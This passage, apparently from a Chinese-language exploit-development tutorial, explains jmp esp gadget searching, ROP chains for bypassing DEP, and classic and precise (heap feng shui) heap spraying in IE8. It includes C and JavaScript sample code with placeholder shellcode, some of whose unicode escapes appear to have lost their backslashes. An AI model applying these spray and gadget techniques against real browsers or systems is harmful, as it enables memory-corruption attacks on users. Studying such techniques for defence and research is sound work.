BYTE *ptr=(BYTE*)handle;
BOOL flag=false;
for(int i=0;!flag;i++)
{
try{
if(ptr[i]==0xFF&&ptr[i+1]==0xE4)
printf("ttptr->jmp esp = 0x%xn",((int)ptr+i));
}
catch(...)
{
int address=(int)ptr+i;
printf("END OF 0x%xn",address);
flag=true;
}
}
return 0;
}
ROP技術是用於繞過棧不可執行(其實現在的堆也不可執行咯),什麼是ROP技術。其實之前的jmp esp已經引出了ROP的基礎理念,即使用程序自身text段的機器碼執行。
ROP的全程面向返回語句的編程,一個個gadgets串聯起來的鏈叫做ROP鏈。每個gadgets的格式大概為「 指令 指令 ret」,通過ret命令將所有的gadgets串聯起來。
如果說jmp esp是一個跳板就直指靶心,那麼ROP就是經過好多跳板,分步驟完成自己的命令。
常見的繞過DEP的案例,就是通過ROP實現VirtualProtect來對shellcode所在內存修改屬性(相當於關閉DEP),將其修改為可執行,再通過JMP R32來跳轉執行Shellcode。
具體案例可以參考我之前寫的對IE瀏覽器寫的Exploit
https://www.anquanke.com/post/id/190590
堆噴射是一種shellcode布置技術,常常藉助javascript等腳本語言實現,所以常見於瀏覽器漏洞。
上古的堆噴射
在Windows XP SP3以前,Windows下大部分程序都不會默認開始DEP(或者不支持),只需要構建nop(大量)+shellcode的內存塊,使用javascript申請200MB的內存空間,能夠覆蓋內存的大量空間。只要控制程序流跳轉到類似0x0c0c0c0c(也可以是其他位置,只要足夠穩定就行)這樣就會順著nops一路滑到shellcode並且執行。
參考代碼
<script language="javascript">
shellcode="u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234";
var nop="u9090u9090";
while(nop.length<=0x100000/2)
{
nop+=nop;
}
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
//nop=nop.substring(0,0x100000-32/2-4/2-2/2);
var slide=new Array();
for(var i=0;i<200;i++){
slide[i]=nop+shellcode;
// slide[i]=nop;
}
</script>
精確堆噴射
在Windows進入後DEP時代,面臨DEP和ASLR的雙重防線,DEP導致堆中的數據無法執行,之前布置大量數據以量取勝的戰術失去了意義。於是heap-feng-shui(堆風水)技術被提出。
通過堆風水,我們申請0x1000個0x80000大小的堆塊。分配量足夠大,導致堆塊中的每0x1000個小的片的開始地址都是固定,通常為0xYYYY020。
因此我們能夠將ROP鏈的頭部穩定對齊末尾固定的四字節(例如0xYYYY0050)。這樣就能構成某種意義上的精確噴射。
參考文獻:http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html
IE8下的參考代碼(shellcode噴射對齊0x0c0c0c0c)
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var sc="u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141";
var nop="u0c0cu0c0c";
var offset=0x5ee-4/2;//0xbdc/2-4/2
//以0x10000為單位的shellcode+nop結構單元
while(nop.length<0x10000)
nop+=nop;
var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode編碼,所以0x10000/2個字節
var sc_nop=sc+nop_chunk;
//組合成單個大小為0x80000的堆塊(heap-feng-shui)
while(sc_nop.length<0x100000)
sc_nop+=sc_nop;
sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//組合成0x800000的堆塊
var offset_pattern=nop.substring(0,offset);
code=offset_pattern+sc_nop;
heap_chunks=new Array();
for(i=0;i<1000;i++)
{
heap_chunks[i]=code.substring(0,code.length);
}
</script>
</body>
</html>
參考文獻:
[1]peter.《Exploit編寫教程》[OL/DB],2010
[2]《現代化windows漏洞程序開發》[OL/DB],2016
[3]Failwest.《0day安全》[M].電子工業出版社,2011
[4]PEB手工分析
[5]WinXp符號表不支持解決方案
[6]https://blog.csdn.net/x_nirvana/article/details/68921334
[7]https://blog.csdn.net/hgy413/article/details/7422722